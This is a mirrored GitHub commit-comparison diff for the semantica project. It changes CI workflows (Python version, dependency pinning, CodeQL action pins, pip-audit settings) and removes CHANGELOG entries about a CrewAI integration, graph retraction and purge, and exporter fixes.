mirror of
https://github.com/semantica-agi/semantica.git
synced 2026-09-09 04:00:52 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
 KaifAhmad1
|
bdd99f7924 |
@@ -1,5 +1,3 @@
|
||||
> **Before you submit:** make sure you followed the [issue workflow in CONTRIBUTING.md](https://github.com/semantica-agi/semantica/blob/main/CONTRIBUTING.md#-working-on-an-existing-issue) — wait for the issue to be assigned to you before opening a PR, to avoid duplicate work.
|
||||
|
||||
## Description
|
||||
|
||||
<!-- Provide a clear description of your changes -->
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python 3.11
|
||||
- name: Set up Python 3.12
|
||||
uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: "3.11"
|
||||
python-version: "3.12"
|
||||
cache: 'pip'
|
||||
|
||||
- name: Install Dependencies
|
||||
|
||||
@@ -30,40 +30,13 @@ jobs:
|
||||
node-version: '20'
|
||||
cache: 'npm'
|
||||
cache-dependency-path: explorer/package-lock.json
|
||||
- name: Install Explorer frontend dependencies
|
||||
working-directory: explorer
|
||||
run: npm ci
|
||||
- name: Test Explorer frontend
|
||||
working-directory: explorer
|
||||
run: |
|
||||
npm run test:graph-store
|
||||
npm run test:graph-workspace
|
||||
npm run test:plugin-registry
|
||||
- name: Build Explorer frontend
|
||||
working-directory: explorer
|
||||
run: npm run build
|
||||
- name: Install pinned Python dependencies
|
||||
run: |
|
||||
pip install -r requirements-ci.txt
|
||||
- name: Verify requirements-ci.txt is up to date
|
||||
run: |
|
||||
pip install uv==0.12.1
|
||||
# Re-resolve with the committed file as a constraint: upstream package
|
||||
# releases must NOT fail CI (deps only change when pyproject.toml
|
||||
# changes intentionally). Compare only version lines (pkg==ver),
|
||||
# ignoring the -c constraint comments and the `\` line continuations
|
||||
# that --generate-hashes emits.
|
||||
uv pip compile pyproject.toml --python-version 3.11 --extra all \
|
||||
--constraint requirements-ci.txt -o /tmp/requirements-ci-check.txt
|
||||
diff \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' requirements-ci.txt | sed 's/ \\$//') \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' /tmp/requirements-ci-check.txt)
|
||||
npm ci
|
||||
npm run build
|
||||
- run: pip install build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- run: python -m build
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
# meaningful state carried over from a failed attempt.
|
||||
- name: Initialize CodeQL (attempt 1)
|
||||
id: codeql-init-1
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -42,7 +42,7 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 2)
|
||||
id: codeql-init-2
|
||||
if: steps.codeql-init-1.outcome == 'failure'
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -52,17 +52,17 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 3)
|
||||
id: codeql-init-3
|
||||
if: steps.codeql-init-2.outcome == 'failure'
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
languages: python
|
||||
queries: security-and-quality
|
||||
config-file: .github/codeql/codeql-config.yml
|
||||
|
||||
- name: Autobuild
|
||||
uses: github/codeql-action/autobuild@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/autobuild@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/analyze@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
category: "/language:python"
|
||||
upload: false
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
# Uploads results only when Default Setup is not active.
|
||||
# If Default Setup is still enabled, this step skips gracefully
|
||||
# instead of failing the workflow with HTTP 409.
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.codeql.outputs.sarif-output }}
|
||||
category: "/language:python"
|
||||
|
||||
@@ -57,7 +57,7 @@ jobs:
|
||||
# avoiding the guardian.cmd/checkov exit-code bug in the MSDO wrapper.
|
||||
tools: eslint,templateanalyzer,terrascan
|
||||
- name: Upload results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.msdo.outputs.sarifFile }}
|
||||
|
||||
@@ -82,7 +82,7 @@ jobs:
|
||||
}
|
||||
|
||||
- name: Upload Checkov results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
if: always()
|
||||
with:
|
||||
sarif_file: reports/checkov.sarif
|
||||
|
||||
@@ -36,16 +36,8 @@ jobs:
|
||||
run: |
|
||||
npm ci
|
||||
npm run build
|
||||
# Install the pinned dependency set (with hashes) so the sdist/wheel
|
||||
# build runs against the same versions CI tests against.
|
||||
- name: Install pinned build dependencies
|
||||
run: pip install -r requirements-ci.txt
|
||||
- run: pip install build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- run: python -m build
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
@@ -64,7 +56,7 @@ jobs:
|
||||
print("Explorer frontend is packaged")
|
||||
PY
|
||||
- name: Attest build provenance
|
||||
uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4
|
||||
uses: actions/attest-build-provenance@0f67c3f4856b2e3261c31976d6725780e5e4c373 # v4
|
||||
with:
|
||||
subject-path: 'dist/*'
|
||||
- uses: softprops/action-gh-release@3d0d9888cb7fd7b750713d6e236d1fcb99157228 # v3
|
||||
|
||||
@@ -45,14 +45,11 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
# Install the pinned dependency set FIRST so Safety scans Semantica's
|
||||
# exact CI/release dependency tree (requirements-ci.txt is generated
|
||||
# from pyproject.toml extras, so this covers the project's real deps).
|
||||
pip install -r requirements-ci.txt
|
||||
# Tooling AFTER the pinned set: installing safety/bandit/semgrep/jq
|
||||
# first lets the pinned requirements overwrite their transitive deps
|
||||
# (e.g. rich), which breaks the safety CLI at runtime.
|
||||
pip install safety bandit semgrep jq
|
||||
# Install the project itself (core deps + the LiteLLM provider extra)
|
||||
# so Safety scans Semantica's actual dependency tree, not just the
|
||||
# scanner tools' own dependencies.
|
||||
pip install -e ".[llm-litellm]"
|
||||
|
||||
- name: Run Safety Check (Package Vulnerabilities)
|
||||
run: |
|
||||
|
||||
@@ -4,12 +4,6 @@ on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 1'
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- 'pyproject.toml'
|
||||
- 'requirements-ci.txt'
|
||||
- '.github/workflows/security.yml'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
@@ -22,21 +16,6 @@ jobs:
|
||||
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: '3.11'
|
||||
# Upgrade first: actions/setup-python's baked-in setuptools has been
|
||||
# behind known-vulnerable floors before (e.g. PYSEC-2026-3447 /
|
||||
# setuptools 75.1.0), so don't trust the preinstalled one.
|
||||
- run: python -m pip install --upgrade pip setuptools
|
||||
# Audit the pinned dependency set (requirements-ci.txt is compiled from
|
||||
# pyproject.toml with --extra all — the same coverage as the [all]
|
||||
# extra, minus the Linux-only gpu set — so this keeps scan parity with
|
||||
# CI/release builds without a time-dependent resolution). This is the
|
||||
# fix for PYSEC-2024-38 (#869): the bare-env job never had fastapi or
|
||||
# python-multipart installed to look at.
|
||||
- run: pip install -r requirements-ci.txt
|
||||
# PR runs gate on findings, since they're scoped to actual
|
||||
# pyproject.toml changes under review. The schedule/workflow_dispatch
|
||||
# runs stay non-blocking until a full pass over pre-existing findings
|
||||
# across the whole [all] tree has been done.
|
||||
- run: pip install pip-audit
|
||||
- run: pip-audit -r requirements-ci.txt
|
||||
continue-on-error: ${{ github.event_name != 'pull_request' }}
|
||||
- run: pip-audit
|
||||
continue-on-error: true
|
||||
|
||||
BIN
Binary file not shown.
-302
@@ -11,209 +11,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Added
|
||||
|
||||
- **First-class CrewAI integration** (#962)
|
||||
- New `pip install semantica[crewai]` extra (`crewai>=0.80.0`) — crewai core provides `BaseTool`/`BaseKnowledgeSource`, so `crewai-tools` is intentionally not included, and the extra is intentionally **not** part of the `all` bundle: crewai hard-requires `chromadb~=1.1.0`, which is affected by the unpatched pre-auth code-injection CVE-2026-45829 (see `integrations/crewai/README.md`)
|
||||
- `integrations/crewai/SemanticaKGTool` — a CrewAI `BaseTool` exposing 5 KG actions (`extract_entities`, `extract_relations`, `add_to_graph`, `query_graph`, `find_related`) backed by `NERExtractor` / `RelationExtractor` / `ContextGraph`; supports both sync `run()` and async `arun()`
|
||||
- `integrations/crewai/SemanticaDecisionTool` — a CrewAI `BaseTool` wrapping `AgentContext` with 5 decision-intelligence actions (`record_decision`, `find_precedents`, `trace_causal_chain`, `analyze_impact`, `check_policy`)
|
||||
- `integrations/crewai/SemanticaKnowledgeSource` — a CrewAI `BaseKnowledgeSource` that serializes a `ContextGraph` into crew knowledge storage; implements both the legacy `load_content()` and current `validate_content()`/`aadd()` contracts so it works across `crewai>=0.80.0`
|
||||
- All three classes degrade gracefully when `crewai` is not installed (still importable, full Semantica API available)
|
||||
- New `tests/integrations/crewai/`: 70 tests covering stub-based present-case behavior (Pydantic/BaseTool subclassing, every action, knowledge-source chunking/storage) plus a subprocess isolation test for the crewai-absent degradation path
|
||||
- Docs: `docs/integrations/crewai.md` page, `docs.json` Integrations nav entry, and README integration-matrix/install updates
|
||||
- **Hardened during code review**: live `graph`/`context`/extractor state is excluded from CrewAI JSON serialization (`model_dump(mode="json")`) with `model_post_init` self-healing defaults, so checkpoint/resume no longer raises `PydanticSerializationError`; `query_graph` now searches node content (not just ids/types); `trace_causal_chain` returns an explicit error instead of substituting similarity precedents when causal tracing is unavailable, and calls `trace_decision_causality(..., max_depth=...)` with the correct argument name; `find_precedents` propagates `max_precedents` as the backend `limit`; `add_to_graph` writes are serialized under a module lock so concurrent agents can't double-count duplicate adds; nameless entities are skipped instead of creating `repr()`-junk nodes
|
||||
- **Hardened during second code review**: `check_policy` rules are now coerced type-aware — `bool("false")` was truthy, so `enabled == false` reported a violation for `enabled: false`, and string datums like `"0.90"` were compared lexicographically instead of numerically; `trace_causal_chain` no longer raises `AttributeError` (which escaped the tool) when the decision context has no `knowledge_graph`, returning honest error JSON instead; knowledge-source storage failures log an actionable ERROR (a missing crew embedder otherwise silently left agents with empty retrieval); `add_to_graph` uses a per-graph re-entrant lock instead of a process-global one (independent graphs no longer serialize each other, and re-entrant extractors can't deadlock); entity/relation `confidence=None` normalizes to `1.0` instead of failing the whole extraction; added a subprocess integration test against the real `crewai` package covering `Crew`-level serialization round-trip and restore
|
||||
|
||||
- **`ContextGraph` gains retraction and purge — the graph previously had no way to remove a node or edge without discarding everything via `clear()`** (#957, closes #955) by @pravit-amp, reviewed by @KaifAhmad1
|
||||
- `retract_node()`/`retract_edge()` close an entity's validity window rather than deleting it, reusing the existing `valid_from`/`valid_until`/`state_at()` machinery: the entity drops out of `find_active_nodes()` and future `state_at()` queries going forward, but `state_at()` calls before the retraction time still return it, so decisions recorded against it stay explainable. A `("kind", id)`-keyed retraction record captures who/why/when, retrievable via `get_retraction()`/`list_retractions()`
|
||||
- `purge_node()`/`purge_edge()` are the destructive counterpart: the entity is removed outright, from history as well as the active view, for erasure obligations retraction alone cannot satisfy (e.g. GDPR Article 17). Only a tombstone remains — that a purge happened, when, and why — deliberately never the purged content, via `get_tombstone()`/`list_tombstones()`. Purge is graph-scope only: `AgentMemory` and any bound vector store are not reached, so it is one step of an erasure workflow rather than the whole of it
|
||||
- Both operations default to `cascade=True` (also touching every incident edge, and for `purge_node`, the marker node of any cross-graph link the node exits through) since leaving edges active around an inactive/removed node produces an inconsistent active view or dangling endpoints; both accept `cascade=False` for callers that want to handle edges themselves
|
||||
- Both are idempotent: retracting/purging an already-retracted/purged entity returns `False` rather than raising, and a repeat retraction preserves the original record's reason rather than overwriting it
|
||||
- Retraction/purge closing a validity window never widens an existing one — a node or edge added with `valid_until` already in the past keeps that earlier bound rather than being pushed later by a subsequent retraction time
|
||||
- Reuses the existing audit-trail path with no changes to `change_management`: `MutationRecord` already documented `REMOVE_NODE`/`REMOVE_EDGE` in its operation vocabulary; retraction now emits `UPDATE_NODE`/`UPDATE_EDGE`, purge emits `REMOVE_NODE`/`REMOVE_EDGE`, matching the documented contract. Mutation payloads are snapshotted inside the lock and the callback fires after it is released, so a callback that itself mutates the graph (e.g. `clear()`) can't observe or lose in-flight records
|
||||
- **Fixed during review** (@KaifAhmad1): `retract_edge()`/`purge_edge()` resolved "the edge" for a given `edge_id` via the first matching object only. `edge_id` is content-derived and, prior to #926, was not guaranteed unique — a graph holding two identical `add_edge()` calls had two edge objects sharing one id. A direct `retract_edge()`/`purge_edge()` call would silently leave the second duplicate untouched (still live, still active) while returning `True` and recording a tombstone/retraction that claimed the edge was fully handled; repeat `purge_edge()` calls also silently overwrote the tombstone's `reason`/`purged_at` on each partial attempt instead of no-op'ing. The same gap let `retract_node()`'s cascade skip a duplicate outright, since it checked the live `_retractions` dict mid-loop and treated the first duplicate's just-written record as proof the second was already handled. `#926` (merged) stops *new* duplicates from being created, but any graph already holding one — loaded from a save made before that fix, or built during the window before it landed — could still trigger this. Now `retract_edge()`/`purge_edge()` act on every edge matching the id under one record, and the cascade's dedup check is snapshotted before the loop starts so within-call duplicates are still closed rather than skipped. 5 new regression tests in `TestDuplicateEdgeId`
|
||||
- New `tests/context/test_context_graph_retraction.py`: 49 tests, covering retraction/purge semantics, cascade, idempotency, validity-window narrowing, id-keyspace collisions between node and edge ids, cross-graph link teardown, `clear()`/`load_from_file()` resetting retraction/tombstone state, audit-trail integration against a real `TemporalVersionManager`, mutation-emission ordering under a concurrent `clear()`, and concurrent purges
|
||||
- Full `tests/context/` suite: 533 passed
|
||||
- **`DistanceExporter.compute_pairs()` gains an opt-in `metric_errors` column to distinguish legitimate `None` results from computation failures** (#960, follow-up to #879) by @Karunasagar12
|
||||
- Previously, a `None` in `hop_count`/`weighted_distance`/`semantic_similarity`/betweenness could mean either "no path exists" or "the underlying computation raised" — logged as a warning per #879, but not otherwise surfaced, so the two cases were indistinguishable in exported CSV/JSONL/DataFrame data. `include=["metric_errors"]` now adds a `metric_errors` field per row: `""` when all requested metrics succeeded, or a comma-separated list of metric names that raised (e.g. `"hop_count,weighted_distance"`)
|
||||
- Opt-in only — default `compute_pairs()`/`to_csv()`/`to_dataframe()`/`to_jsonl()` schema is unchanged unless `"metric_errors"` is explicitly requested
|
||||
- The four metric helpers (`_betweenness`, `_hop_distance`, `_weighted_distance`, `_semantic_similarity`) now return `(value, error_name | None)` tuples internally; `compute_pairs()` aggregates the error names per row
|
||||
- **Fixed during review** (Qodo): `_betweenness()` failures weren't tracked into `metric_errors` in the initial version — centrality computation could raise and the column would still report `""`. Now returns its error tuple like the other three helpers
|
||||
- **Known limitation**: `include=["metric_errors"]` with no other metric names computes nothing, so the column is always `""` in that case — pass it alongside the metrics you want tracked, e.g. `include=["hop_count", "metric_errors"]`
|
||||
- New `tests/export/test_distance_exporter_metric_errors.py`: 6 tests covering success, single/multiple failures, opt-out, the no-path-vs-error distinction, and default-schema stability; existing `tests/export/test_distance_exporter.py` updated for the new tuple return type
|
||||
- Full `tests/export/` suite: 77 passed
|
||||
|
||||
### Changed
|
||||
|
||||
- **`GraphBuilder`'s 6 public methods now have Google-style docstrings** (#878, closes #876) by @cakeni
|
||||
- `semantica/kg/graph_builder.py`'s `build`, `build_single_source`, `add_temporal_edge`, `create_temporal_snapshot`, `query_temporal`, and `load_from_neo4j` — the core knowledge-graph construction API, imported directly by callers — previously had zero docstrings across all 6 methods, the only file in a 10-file audit sample with that gap, despite CONTRIBUTING.md requiring Google-style `Args`/`Returns`/`Raises`/`Example` docs for public methods. Added full docstrings for all 6, plus the previously undocumented `build_single_source`, with runnable (`# doctest: +SKIP`) usage examples
|
||||
- **Corrected during review**: `query_temporal`'s docstring claimed the query text was used to filter the graph; the implementation only records it in the result (`results = {"query": query, ...}`) with no interpretation or filtering. Corrected to state that explicitly
|
||||
- **Corrected during review**: `create_temporal_snapshot`'s docstring implied entities were filtered for validity at the snapshot timestamp like relationships are; the implementation copies all entities unfiltered and only filters `relationships` by `valid_from`/`valid_until`. Docstring now distinguishes the two
|
||||
- **Corrected during review**: `add_temporal_edge`/`create_temporal_snapshot` docstrings overclaimed numeric-timestamp support; `_parse_time()` only special-cases `str` and `datetime`, falling back to a bare `str()` cast for anything else (not true numeric parsing). Narrowed to "datetime or ISO-formatted string"
|
||||
- **Fixed along the way**: `build()`'s `**options` documented a default only for `extract`; `extract_relations`, `extract_triplets`, `ner_method`, `relation_method`, and `triplet_method` all have concrete defaults in `_extract_from_text()` (`True`, `True`, `"llm"`, `"llm"`, `"llm"`) that were left unstated, inconsistent with CONTRIBUTING.md's own docstring example of noting defaults inline
|
||||
- `python -m pytest tests/kg/test_kg.py tests/kg/test_graph_builder_external.py -q`: 45 passed
|
||||
- **`GraphBuilder` raw-text extraction now defaults to local extractors instead of LLM extraction** (closes #930) by @dex0shubham
|
||||
- `GraphBuilder._extract_from_text()` defaulted `ner_method`, `relation_method`, and `triplet_method` to `"llm"`, and ran relation extraction unconditionally (`extract_relations` defaulted to `True`) — all four contradicting the defaults documented in the `build()` docstring at the time (`"ml"` / `"pattern"` / `False`), and diverging from the standalone extractors (`NERExtractor` defaults to `method="ml"`, `RelationExtractor` and `TripletExtractor` to `method="pattern"`). The practical effect was that any raw-text `build()` call silently required a configured provider, an API key, and network access
|
||||
- Defaults are now `ner_method="ml"`, `relation_method="pattern"`, `triplet_method="pattern"`, and `extract_relations=False`, matching the docstring. LLM extraction remains fully available and is now opt-in
|
||||
- **To restore the previous behaviour**, pass the methods explicitly:
|
||||
```python
|
||||
builder.build(
|
||||
sources,
|
||||
ner_method="llm",
|
||||
relation_method="llm",
|
||||
triplet_method="llm",
|
||||
extract_relations=True,
|
||||
)
|
||||
```
|
||||
- #878 landed in the meantime and resolved the same mismatch in the opposite direction, documenting the LLM values (`"llm"` / `"llm"` / `"llm"`, `extract_relations: True`) as the contract. Per the decision on #930 the code is the side that changes, so those docstring defaults are corrected here to `"ml"` / `"pattern"` / `"pattern"` / `False`, keeping #878's formatting
|
||||
- Removed the stale `# Default to LLM methods as per requirement` comment, which read as an intentional decision but did not match the documented contract
|
||||
- **Fixed along the way**: `_extract_from_text()` constructed a fresh extractor for every text, and `NERExtractor.__init__` loads its spaCy model eagerly when the method includes `"ml"` — so with the new default, a multi-document build would have reloaded the model once per source. Extractors are now built once per `(kind, method)` and reused for the lifetime of the builder, via `GraphBuilder._get_extractor()`. This path was previously unreachable by default because the old `"llm"` default never touched spaCy
|
||||
- **Fixed along the way**: `_extract_from_text()` never forwarded its extracted relations to triplet extraction — it passed only `entities=`, so `TripletExtractor` re-derived relations itself (via a method taken from `triplet_method`) whenever `relations is None`, duplicating work and producing triplets that could disagree with the relations already extracted using `relation_method`. Relations are now passed through as `relations=`; when relation extraction is disabled or fails, `None` is forwarded and `TripletExtractor` keeps its existing self-derivation behaviour
|
||||
- **Fixed along the way**: `GraphBuilder._extraction_stats` was only initialised inside `build()`, so calling `_extract_from_text()` directly raised an `AttributeError` that the extraction path's broad `except` swallowed and reported as `"Entity extraction failed"`. It is now seeded in `__init__` as well; `build()` still resets it per run
|
||||
- New regression coverage in `tests/kg/test_graph_builder_extraction_defaults.py` pinning all four defaults, verifying that no default resolves to `"llm"`, confirming explicit LLM opt-in still routes correctly, asserting extractors are constructed once across repeated texts, covering fallback method lists (e.g. `ner_method=["pattern", "ml"]`) for all three extractors, asserting relations are forwarded to triplet extraction (and that `None` is forwarded when relation extraction is disabled or fails), and running the real default path end to end with no provider mocked. Verified to fail against the pre-fix code
|
||||
- Full `kg` suite: 473 passed
|
||||
|
||||
### Fixed
|
||||
|
||||
- **`export_yaml` raised a raw `AttributeError` on list input, silently wrote empty exports for unrecognized dict keys, and graph payloads were reconciled differently by every exporter** (#958, closes #956, #952, #953) by @pravit-amp, reviewed by @Sameer6305
|
||||
- Graph payloads circulate under two vocabularies, `entities`/`relationships` and `nodes`/`edges`, and each exporter reconciled them locally with a different idiom — `LPGExporter` in particular dropped every entity whenever `nodes` was present but empty, the exact shape `JSONExporter` emits. A new `normalize_graph_payload()` in `utils/helpers.py` centralizes that decision once, adopted by `LPGExporter`, `ArangoAQLExporter`, `Neo4jCSVExporter`, and both YAML exporters; `ContextGraph.to_dict()` now round-trips through YAML correctly as a result
|
||||
- `export_yaml(records, path)` on a bare list previously failed with `AttributeError` from inside the exporter; it and the other YAML methods now reject non-mapping input with an actionable `ProcessingError` naming the expected keys, since these formats distinguish entities/relationships/triplets and guessing which one a list represents would mislabel the records
|
||||
- `export_yaml({"data": [...]}, path)` previously wrote a structurally valid file with every collection empty, no exception, no warning, and the progress log reporting a completed export. `export_semantic_network`, `export_for_pipeline`, and `export_ontology_schema` now raise `ValidationError` when the payload shares no recognized key with what the method reads, or resolves to nothing while an unread key still holds records — an empty mapping is still accepted, since a genuinely empty graph has no records to lose
|
||||
- **Breaking**: the two cases above, plus a bare list, now raise instead of returning cleanly with data silently dropped or a raw `AttributeError` from exporter internals. Migration: pass records under a recognized key (`{"entities": [...]}` / `{"nodes": [...]}` for `semantic_network`, `{"classes": [...]}` for `schema`)
|
||||
- **Fixed during review** (Qodo): progress tracking could report a completed export before the output directory existed or the file was written; `export()` now creates the directory and serializes before starting tracking, so a rejected export leaves nothing behind
|
||||
- **Fixed during review** (@Sameer6305, round 1): `normalize_graph_payload()`'s collection resolver treated any truthy value as a collection — `{"entities": "abc"}` silently became three single-character records, `{"entities": 42}` leaked a raw `TypeError` from inside `list()`. Collection values are now validated before conversion, rejecting strings/bytes/mappings/non-iterable scalars by name. Separately, `Neo4jCSVExporter._normalize_graph` called the shared resolver with `require_recognized=False`, so it alone kept accepting an unrecognized mapping as a silent empty export; the opt-out (introduced earlier in this same PR, with no other caller) was removed
|
||||
- **Fixed during review** (@Sameer6305, round 2): `YAMLSchemaExporter`'s usable-schema check could treat scalar schema metadata (`version`, `uri`, `title`, `description`) as evidence records had been exported, letting records under an unread key drop silently; and `_is_record()` accepted modules and class/type objects through the generic `__dict__` path, which would have reached exporter internals instead of failing at the boundary. Both closed, with regression coverage
|
||||
- **Fixed during final maintainer review** (before merge): four more gaps in the shared boundary that the earlier rounds didn't reach
|
||||
- `LPGExporter`/`ArangoAQLExporter` called `normalize_graph_payload()` with no type guard, so non-mapping input raised `ValidationError` from inside the resolver — while YAML and `Neo4jCSVExporter` raised `ProcessingError` for the identical mistake, per this PR's own stated contract. The `_require_mapping()` guard that already existed in `yaml_exporter.py` is now shared from `utils/helpers.py` and used by all three
|
||||
- `Neo4jCSVExporter._normalize_graph` checked `isinstance(graph, dict)`, so a non-dict `Mapping` (`MappingProxyType`, `ChainMap`) fell through to the object-attribute branch and was rejected, even though the identical payload exported fine via `LPGExporter`/`ArangoAQLExporter`/YAML. Now checks `isinstance(graph, Mapping)`
|
||||
- `normalize_graph_payload()` accepts dataclass and attribute-bearing object records (`Neo4jCSVExporter._record_to_dict` reads them), but `LPGExporter`/`ArangoAQLExporter` call `.get(...)` directly on resolved entities — an object-shaped record passed validation only to crash with a raw `AttributeError` once used, the exact failure this PR's boundary exists to prevent. Records are now converted to plain dicts at the boundary (`_coerce_records` → new `_record_to_dict`), so every consumer gets a uniform shape regardless of which reading the caller used
|
||||
- Two non-empty spellings of the same collection (e.g. `entities` and `nodes`) holding identical records in a different order were rejected as conflicting, since the check used plain list equality; a caller round-tripping through a dict-keyed cache or a set has no reason to preserve order. Comparison is now an order-independent multiset of each record's canonical JSON form
|
||||
- New regression coverage in `tests/utils/test_normalize_graph_payload.py`: exception-type parity for non-mapping input across `export_lpg`/`export_arango`/`export_neo4j_csv`, dataclass-record conversion verified end-to-end through the same three exporters, `Neo4jCSVExporter` accepting a `MappingProxyType` payload, and reordered-alias equality (plus a duplicate-count case confirming the multiset check still catches real conflicts); 4 existing tests updated to assert the corrected dict-conversion behavior instead of the previous object passthrough
|
||||
- `pytest tests/export tests/utils tests/context tests/test_export_module.py tests/test_export_methods_wrapper.py tests/test_notebooks_simulation.py`: 718 passed, 4 skipped (up from 641 passed, 62 subtests at PR submission); `black`/`isort`/`flake8 --max-line-length=88` clean on every line this PR touches; `python -m build`: succeeds
|
||||
|
||||
- **`ContextGraph.add_edge` had no dedupe — identical edges were stored repeatedly under one shared edge ID, and re-ingest doubled the edge set** (#926, closes #922) by @pravit-amp
|
||||
- `_add_internal_edge` appended to `self.edges`, `edge_type_index`, and `_adjacency` unconditionally, with no check for an edge already present. Edge identity is content-derived (`_resolve_edge_identity` builds `edge_id` from `source_id`/`target_id`/`edge_type`/`weight`/`metadata`/`valid_from`/`valid_until`), so two identical `add_edge` calls produced two edge objects sharing one `edge_id` — the graph already considered them the same edge, it just kept both copies. `self.nodes` already deduped by ID; edges did not, so `stats()["edge_count"]` inflated, `density()` could exceed its mathematical maximum of `1.0`, and a refresh/restore job calling `build_from_entities_and_relationships()` (or reloading a saved graph) doubled the edge set on every cycle
|
||||
- Added an `edge_id -> ContextEdge` index (`_edge_index`), mirroring how `self.nodes` dedupes by node ID. `_add_internal_edge` now returns `False` when the `edge_id` already exists, checked before touching `edges`/`edge_type_index`/`_adjacency` and before firing the mutation callback, so a repeat `add_edge` is a silent no-op with no phantom `ADD_EDGE` audit event
|
||||
- Genuinely parallel edges are unaffected: differing type/weight/metadata/validity still produce distinct content-derived `edge_id`s, so multigraph semantics are preserved
|
||||
- Both state-reset paths (`load_from_file()` and `clear()`) also clear `_edge_index`
|
||||
- New tests: repeat `add_edge` is a no-op, parallel edges with distinct attributes are preserved, re-ingest via `build_from_entities_and_relationships()` stays at one edge, and `clear()` resets the dedupe index
|
||||
- `pytest tests/context/test_context.py`: 31 passed
|
||||
|
||||
- **`POST /api/enrich/extract` returned 503 on every request; the whole `/api/decisions*` family returned 500 as soon as a decision existed** (#886, closes #883, closes #884, closes #889) by @joseedson18jc, reviewed by @Sameer6305
|
||||
- `semantica/explorer/routes/enrich.py` imported `extract_entities`/`extract_relations` from `semantica.semantic_extract.methods`, names that module never defined (only per-strategy variants like `extract_entities_ml` exist) — the `except ImportError` handler reported this as `"semantic_extract module not available"`, masking a wiring bug as a missing dependency. The route now calls `NamedEntityRecognizer`/`RelationExtractor` directly and forwards extracted entities into relation extraction instead of re-deriving them
|
||||
- `ContextGraph.record_decision()` stores `timestamp` as `datetime.now().timestamp()` (a float), while `DecisionResponse.timestamp` was typed `Optional[str]`; passing the value through unconverted failed pydantic validation on every decision route (`/api/decisions`, `/{id}`, `/{id}/chain`, `/{id}/precedents`, `/{id}/compliance`). Added a `field_validator(mode="before")` on `DecisionResponse` normalizing float/int/datetime inputs to ISO-8601
|
||||
- Folds in the fix for #889: `extract_entities_ml`/`extract_relations_similarity`/`extract_relations_dependency` called `spacy.load()` on every invocation (~120ms of a ~132ms call, ~60x the actual extraction work). Added a process-level, lock-guarded `load_spacy_model()` cache in `semantic_extract/methods.py`, keyed by model name; failed loads are not cached, and the separate `get_nlp_model()` cache (different `disable=` pipeline config for similarity work) is kept independent to avoid handing one caller's spaCy pipeline to another
|
||||
- **Fixed during review** (@Sameer6305): capped previously-unbounded input text on `/api/enrich/extract`; tightened the route's exception handling
|
||||
